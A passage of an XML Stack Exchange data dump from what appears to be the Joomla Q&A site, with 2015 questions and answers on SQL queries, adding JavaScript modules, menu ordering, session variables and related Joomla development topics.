LastActivityDate="2015-04-10T10:52:12.307" Title="Pre-processing form data before display / save - what's the standard approach?" Tags="|joomla-3.x|development|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="1" CreationDate="2015-04-07T12:52:49.337" Score="4" ViewCount="1054" Body="&lt;p&gt;I would like to use this complex mysql query in my joomla model to generate a timeline and count entries within a specific date range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My SQL Query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT T.calendar, COUNT(DATE(M.date)) as number&#xA;FROM (&#xA;    SELECT (CURDATE() - INTERVAL c.number DAY) AS calendar&#xA;    FROM &#xA;    (&#xA;        SELECT singles + tens + hundreds number FROM &#xA;        ( &#xA;            SELECT 0 singles&#xA;            UNION ALL SELECT   1 UNION ALL SELECT   2 UNION ALL SELECT   3&#xA;            UNION ALL SELECT   4 UNION ALL SELECT   5 UNION ALL SELECT   6&#xA;            UNION ALL SELECT   7 UNION ALL SELECT   8 UNION ALL SELECT   9&#xA;        ) singles&#xA;        JOIN &#xA;        (&#xA;            SELECT 0 tens&#xA;            UNION ALL SELECT  10 UNION ALL SELECT  20 UNION ALL SELECT  30&#xA;            UNION ALL SELECT  40 UNION ALL SELECT  50 UNION ALL SELECT  60&#xA;            UNION ALL SELECT  70 UNION ALL SELECT  80 UNION ALL SELECT  90&#xA;        ) tens&#xA;        JOIN &#xA;        (&#xA;            SELECT 0 hundreds&#xA;            UNION ALL SELECT  100 UNION ALL SELECT  200 UNION ALL SELECT  300&#xA;            UNION ALL SELECT  400 UNION ALL SELECT  500 UNION ALL SELECT  600&#xA;            UNION ALL SELECT  700 UNION ALL SELECT  800 UNION ALL SELECT  900&#xA;        ) hundreds&#xA;        ORDER BY number DESC&#xA;    ) c  &#xA;    WHERE c.number BETWEEN 0 AND 182&#xA;) AS T &#xA;LEFT JOIN table_goals AS M ON T.calendar = DATE(M.date)&#xA;GROUP BY T.calendar`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I convert this into a &quot;normal&quot; Joomla JDatabase query?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="12352" LastEditDate="2018-06-20T05:45:32.043" LastActivityDate="2018-06-21T06:06:33.530" Title="Join an existing table with a generated table of dates and count rows for each date?" Tags="|mysql|jdatabase|sql|model|jmodel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9368" PostTypeId="2" ParentId="9306" CreationDate="2015-04-07T16:47:12.513" Score="1" Body="&lt;p&gt;There is an extension called &quot;&lt;a href=&quot;https://codingmall.com/en/products-mainmenu-8/145-multi-store-multi-vendor-virtuemart&quot; rel=&quot;nofollow&quot;&gt;Multi Store - Multi Vendor Virtuemart&lt;/a&gt;&quot; (commercial extension), that seems to be able to do what you need. The available options in the extension are explained &lt;a href=&quot;https://codingmall.com/faq/7-joomla-products/151-virtuemart-multi-vendor-configuration-a-settings&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but basically you can set up multiple stores. Each sub-store can have it's own domain (or subdomain), so basically you would have to set up a PHP &lt;code&gt;if-else&lt;/code&gt; statement and redirect the user to the correct subdomain based on the given postcode or postcode range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The redirect itself can be done in many ways, here's one option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($postcode == &quot;12345&quot;) {&#xA; echo &quot;&amp;lt;meta http-equiv=\&quot;refresh\&quot; content=\&quot;0;URL=http://domain1.com\&quot;&amp;gt;&quot;;&#xA;} elseif($postcode == &quot;54321&quot; {&#xA; echo &quot;&amp;lt;meta http-equiv=\&quot;refresh\&quot; content=\&quot;0;URL=http://domain2.com\&quot;&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should consider if it really is convenient to have everything on a single Joomla/Virtuemart installation, as development might be considerably more complicated compared to having separate installations. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-07T16:47:12.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostTypeId="1" CreationDate="2015-04-07T19:02:32.103" Score="0" ViewCount="26" Body="&lt;p&gt;Has anyone experienced Menus reordering themselves in Joomla 2.5 ?&#xA;I have had that happen several times and it seems unlikely it's a hack.&lt;/p&gt;&#xA;" OwnerUserId="4029" LastActivityDate="2015-04-07T21:31:04.943" Title="Random Menu Reordering" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9370" PostTypeId="2" ParentId="9367" CreationDate="2015-04-07T20:08:24.207" Score="3" Body="&lt;p&gt;You can just execute it in the same way than a simple query. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    db-&amp;gt;setQuery($my_big_query);&#xA;    $row = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, it would be very difficult to translate the SQL statement to build it with Query API $query-&gt;select(...)-&gt;from(...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is better to just handle the query with a big string, avoiding PHP performance bottlenecks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query[] = 'SELECT ..';&#xA;    $query[] = 'FROM ..';&#xA;    $query[] = 'FROM ..';&#xA;    $query[] = '(SELECT ..';&#xA;    ...&#xA;    $query = implode(' ', query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TIP: Remember to set big selects mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDbo();&#xA;    $db-&amp;gt;setQuery('SET sql_big_selects=1');&#xA;    $db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-07T20:08:24.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostTypeId="1" AcceptedAnswerId="9374" CreationDate="2015-04-07T20:36:31.073" Score="0" ViewCount="547" Body="&lt;p&gt;I really love the typed.js plugin which can be found here(&lt;a href=&quot;http://www.mattboldt.com/demos/typed-js/&quot; rel=&quot;nofollow&quot;&gt;http://www.mattboldt.com/demos/typed-js/&lt;/a&gt;). I really want to use it on the front page of a joomla webpage I am building. However, I have been unable to actually include it (Just the typing text along with the blinking cursor) by adding it to a custom module position that will display on the homepage. I have tried over and over to add it to my website and nothing ever works. How can I get this done? I've tried installing a few moudles that allow me to enter javascript directly in module position but nothing still works. Please help???&lt;/p&gt;&#xA;" OwnerUserId="4032" LastActivityDate="2015-04-07T21:59:34.203" Title="How can I add the typed.js plugin into a joomla module" Tags="|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="2" ParentId="9371" CreationDate="2015-04-07T21:12:43.510" Score="0" Body="&lt;p&gt;If you are using Joomla 3.x, you will want to reference this link first:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way is to edit the template's index.php.  You'll want to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript('/path/to/my/typed.js', 'text/javascript');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will include the script tag on each joomla page.&lt;/p&gt;&#xA;" OwnerUserId="4034" LastActivityDate="2015-04-07T21:12:43.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostTypeId="2" ParentId="9369" CreationDate="2015-04-07T21:31:04.943" Score="1" Body="&lt;p&gt;I believe this was a bug when migrating from Joomla 1.5 to 2.5. Whether this is the case for you or not, try the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to PhpMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;Select the database that is associated with your Joomla site&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;strong&gt;SQL&lt;/strong&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the following database query (change xxx to your own database prefix)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE XXX_menu SET ordering = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should reset the ordering for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once done, make sure you have the latest version of the Joomla 2.5 series (&lt;strong&gt;2.5.28&lt;/strong&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-07T21:31:04.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="2" ParentId="9371" CreationDate="2015-04-07T21:59:34.203" Score="3" Body="&lt;p&gt;The best way to do this would probably be to build a small module. If you follow the tutorial from &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt; it's not that hard, and it's a great way to get acquainted with Joomla extension development. If you need a headstart, take a look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/3990/create-custom-module-with-javascript-js?rq=1&quot;&gt;this answer&lt;/a&gt; for a basic module with a similar purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quicker solution, try using any of the Custom HTML modules available that allows you to insert any code without filtering, like &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom Advanced HTML&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flexi Custom Code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way there are a couple of things to remember if you're using the example from the demo you mention in your question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first line is probably not needed (&lt;code&gt;&amp;lt;script src=&quot;jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;) because jQuery is usually loaded with Joomla. If not, include a valid path to jQuery.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the second line points to the actual location of the file &lt;code&gt;typed.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla usually loads jQuery in noConflict mode, so you can't use &lt;code&gt;$&lt;/code&gt; directly. Replace &lt;code&gt;$&lt;/code&gt; with &lt;code&gt;jQuery&lt;/code&gt; or wrap your code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function( $ ) {&#xA;   // Your jQuery code here, using the $&#xA;})( jQuery );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember to add the CSS for the blinking cursor within &lt;code&gt;&amp;lt;style&amp;gt; &amp;lt;/style&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The script only types out the text, it's up to you to use CSS styling if you want to add the &quot;terminal window&quot; like the demo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So basically, if you use a Custom HTML module (without filtering), you would need to add something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;path/to/typed.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;  jQuery(function($){&#xA;      $(&quot;.element&quot;).typed({&#xA;        strings: [&quot;First sentence.&quot;, &quot;Second sentence.&quot;],&#xA;        typeSpeed: 0&#xA;      });&#xA;  }) ( jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;.typed-cursor{&#xA;    opacity: 1;&#xA;    -webkit-animation: blink 0.7s infinite;&#xA;    -moz-animation: blink 0.7s infinite;&#xA;    animation: blink 0.7s infinite;&#xA;}&#xA;@keyframes blink{&#xA;    0% { opacity:1; }&#xA;    50% { opacity:0; }&#xA;    100% { opacity:1; }&#xA;}&#xA;@-webkit-keyframes blink{&#xA;    0% { opacity:1; }&#xA;    50% { opacity:0; }&#xA;    100% { opacity:1; }&#xA;}&#xA;@-moz-keyframes blink{&#xA;    0% { opacity:1; }&#xA;    50% { opacity:0; }&#xA;    100% { opacity:1; }&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;div class=&quot;element&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-07T21:59:34.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostTypeId="1" AcceptedAnswerId="9378" CreationDate="2015-04-07T23:31:40.917" Score="2" ViewCount="335" Body="&lt;p&gt;We are building a Joomla 3.x component for school management where each student will have a user account to login and manage their dashboards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is not all students will have email address and in Joomla email is mandatory for a user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a decent way how to bypass this without hacking any core functionality. &lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-04-08T05:40:15.940" Title="User management with no email" Tags="|user|emails|registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9378" PostTypeId="2" ParentId="9376" CreationDate="2015-04-08T05:40:15.940" Score="1" Body="&lt;p&gt;Your best bet is to do this with a user plugin that can both remove the unnecessary field from the form and fill the email in automatically with something autogenerated to get past the requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7392/joomla-registration-remove-unneeded-fields&quot;&gt;Joomla Registration: Remove unneeded fields&lt;/a&gt; should help you with the basics of creating a user plugin and removing the email fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, if you use my answer to that question, you can add in an automated email address in &lt;code&gt;onUserBeforeSave&lt;/code&gt; which should get the record past the model's validation and store the user &quot;without&quot; an email.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-04-08T05:40:15.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="1" CreationDate="2015-04-08T09:03:17.287" Score="0" ViewCount="826" Body="&lt;p&gt;I would like to add a form that takes input for two tables.&lt;br&gt;&#xA;One table with single row insert to 1st table, and the other one, with multiple rows insert to 2nd table at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about &lt;strong&gt;Custom form fields&lt;/strong&gt; in Joomla but I am confused regarding how to add them into a module.&lt;br&gt;&#xA;At the end of the form there should be a submit button which would validate and take the values to the database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the article on Joomla.org but am not getting the right way to include the fields into the module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;br&gt;&#xA;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUGuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="126" LastEditDate="2015-12-04T20:06:57.143" LastActivityDate="2015-12-04T20:06:57.143" Title="Create forms in Joomla custom html module for multiple tables" Tags="|joomla-3.x|form-fields-types|custom-field|jtable|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9380" PostTypeId="2" ParentId="9249" CreationDate="2015-04-08T10:03:37.473" Score="1" Body="&lt;p&gt;You can use regex in your template index.php to try and remove the script - near the top of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;_script['text/javascript']))&#xA;{&#xA;    $this-&amp;gt;_script['text/javascript'] = preg_replace('/put the regex for your script here /', '', $this-&amp;gt;_script['text/javascript']);&#xA;&#xA;&#xA;if (empty($this-&amp;gt;_script['text/javascript']))&#xA; unset($this-&amp;gt;_script['text/javascript']);  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A good way to generate your regex is here:&#xA;&lt;a href=&quot;http://regexr.com/&quot; rel=&quot;nofollow&quot;&gt;http://regexr.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to enter it at the top of the page after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined( '_JEXEC' ) or die; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2015-04-08T13:38:49.610" LastActivityDate="2015-04-08T13:38:49.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostTypeId="2" ParentId="9366" CreationDate="2015-04-08T10:04:46.537" Score="3" Body="&lt;p&gt;I would not use the controller - as controllers should be left to simply creating the model, view, linking them together and dealing with any redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say, the plugin way is going to produce additional overhead on all form's which doesn't make sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my preference is the model, in its save() function. If you look at administrator/components/com_content/models/article.php this is where the data is manipulated before being bound &amp;amp; saved to the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On edit, I would use the model's getItem() method to re-convert the data back into the values required by JForm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hth&#xA;Rob&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-08T10:04:46.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostTypeId="2" ParentId="8941" CreationDate="2015-04-08T10:29:58.460" Score="0" Body="&lt;p&gt;I ended up implementing this by having an event id appended to the url for event registration in the iCagenda joomla component. And in the registration view I do the necessary checking so that registration will only work when the id is present. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-04-08T10:29:58.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostTypeId="1" CreationDate="2015-04-08T13:06:15.627" Score="2" ViewCount="391" Body="&lt;p&gt;I have a direct link to a PDF on my multi-lang Joomla 3.0 site. However, when browsing to the link, Joomla keeps on injecting the language code &lt;code&gt;/en/&lt;/code&gt; into the URL, thus resulting in a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I link to this PDF so people can view it?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2017-08-09T07:42:59.930" Title="Joomla 3.0 direct link to file with multi language" Tags="|joomla-3.x|url|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="1" AcceptedAnswerId="9386" CreationDate="2015-04-08T13:16:50.793" Score="0" ViewCount="2807" Body="&lt;p&gt;I've seen some drivers on Github, they go back to 2012, is there more updated support for Mongodb? Is there a guide I can follow to install run Joomla on Mongodb? I'm considering using the latest Joomla version&lt;/p&gt;&#xA;" OwnerUserId="4037" LastEditorUserId="4037" LastEditDate="2015-04-08T13:31:11.907" LastActivityDate="2015-04-08T15:12:37.017" Title="Is it possible to use MongoDb with Joomla?" Tags="|joomla-3.x|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="1" AcceptedAnswerId="9395" CreationDate="2015-04-08T14:34:40.850" Score="1" ViewCount="394" Body="&lt;p&gt;I want to add a new state to the article list filter on the search tool. The dropdown, has the states, Published, Unpublished, Archived, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add another state to the dropdown? Is there some file I have to change to achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the file &lt;code&gt;filters.php&lt;/code&gt; in the path &lt;code&gt;layouts/joomla/searchtools/default&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it only has an array with the filters, but where does theses values come from?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $displayData;&#xA;&#xA;// Load the form filters&#xA;$filters = $data['view']-&amp;gt;filterForm-&amp;gt;getGroup('filter');&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($filters) : ?&amp;gt;&#xA;    &amp;lt;?php foreach ($filters as $fieldName =&amp;gt; $field) : ?&amp;gt;&#xA;        &amp;lt;?php if ($fieldName != 'filter_search') : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;js-stools-field-filter&quot;&amp;gt;&#xA;                &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-04-09T07:10:47.807" Title="Add new state on searchtool component" Tags="|search|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9386" PostTypeId="2" ParentId="9384" CreationDate="2015-04-08T15:12:37.017" Score="2" Body="&lt;p&gt;MongoDb is not a supported database. It is recommended to work on the officially supported databases: &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/technical-requirements.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Supported Databases:&#xA;MySQL (InnoDB support required)&#xA;SQL Server&#xA;PostgreSQL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-08T15:12:37.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="1" CreationDate="2015-04-08T15:42:50.737" Score="3" ViewCount="2854" Body="&lt;p&gt;I have a long loading for loop inside a function in one of my model in my Joomla component. In order to gauge the progress, I wanted to make a progress bar using ajax and javascript as the request is being processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a start, I made a simple ajax call to a function of one of the controllers which contains the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $mainframe =JFactory::getSession();&#xA;   $i=$mainframe-&amp;gt;get('component.progress', 0);&#xA;   $echo($i);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I'm using getSession, but as far as I have understood, session and userstate or almost the same, except for userstate allowing some other things and saving the variables in the registry. I have tried both, and the results are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The get comes from inside the foor loop of my function inside the model, that does the heavy computation, and lookings something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($i = 1; $i &amp;lt; min(600, count($this-&amp;gt;dati)); $i++) {&#xA;        $mainframe = JFactory::getSession();&#xA;        $mainframe-&amp;gt;set('component.progress', $i);&#xA;        heavy computation...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then when running the php script I simply call this javascript function with set_interval that dumps periodically the content of the site showing when invoking the function on to the existing site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadXMLDoc()&#xA;{&#xA;    var xmlhttp;&#xA;    if (window.XMLHttpRequest)&#xA;    {// code for IE7+, Firefox, Chrome, Opera, Safari&#xA;        xmlhttp = new XMLHttpRequest();&#xA;    }&#xA;    else&#xA;    {// code for IE6, IE5&#xA;        xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);&#xA;    }&#xA;    xmlhttp.onreadystatechange = function ()&#xA;    {&#xA;        if (xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200)&#xA;        {&#xA;            document.getElementById(&quot;myDiv&quot;).innerHTML = xmlhttp.responseText;&#xA;        }&#xA;    }&#xA;    xmlhttp.open(&quot;GET&quot;, &quot;index.php?option=com_contentimporter&amp;amp;task=contentimporter.test&quot;, true);&#xA;    xmlhttp.send();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good, the problem is that the user state does not get updated when the script runs. It seems like it only gets updated after it is done. Now what I suspect is that joomla puts these values into a buffer that it sets only when a pending request is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is unfortunately no good for what I am trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do anyone have any suggestion as to what I could do instead. It would be best if I could do this without modifying any default setting in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;edit&lt;/em&gt;&lt;/strong&gt;: Ok, I've noticed something new, when the php function is done running, I output some feedback that I get from the userstate which I set at the end of the method in my model that does the heavy calculation. I've noticed that this feedback is displayed correctly, but only sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, some times it displays the feedback from the previous processing, some times it displays the feedback from the current one. Sometimes I can refresh the window after a couple of seconds and the correct feedback will show (everytime I refresh, getUserstate on the feedback is called), other times I have to rerun the script n times before the correct feedback shows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to behave in an erratic and random way. Maybe I have accidentily deleted some table values or changed some settings in Joomla that could cause this? Does anyone have an idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I read that if the registry for some reason was not set (setUserstat will do nothing in this case), I could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $session = JFactory::getSession();&#xA;    $registry=$session-&amp;gt;get('registry',null);&#xA;    if(is_null($registry)) {&#xA;        $session-&amp;gt;set('registry', new JRegistry('session'));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried this but it does not seem to fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I should not that I use J!Dump occasionally to display info about some variables, and I also have the exact same problem with this component, the window with the dump pops up only occasionally.&lt;/p&gt;&#xA;" OwnerUserId="3987" LastEditorUserId="3987" LastEditDate="2015-04-09T10:13:33.263" LastActivityDate="2019-04-18T09:00:55.513" Title="Get/set userstate and session variables not working inside for loop" Tags="|joomla-3.x|joomla-api|user|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="2" ParentId="9299" CreationDate="2015-04-08T22:19:32.703" Score="0" Body="&lt;p&gt;Here is the solution. I was right. The Home menu item was the correct item to select as the original home page / default menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question I should have asked myself was:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I made the single article item into the default menu item, what&#xA;  did Joomla do with the old home page???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It turned it into something else. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Usually you don't have a single article as your home page. The home page is just the origin of the site navigation. So Joomla changed the menu type into a menu item alias! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the solution was to turn the menu type back into what it originally was: a featured article. Then you have restored the abitilty to make it the default menu item again. The reason I could not find the item that the alias was pointing to was that it wasn't pointing to anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/txp9l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3996" LastEditorUserId="126" LastEditDate="2015-06-11T09:27:08.823" LastActivityDate="2015-06-11T09:27:08.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
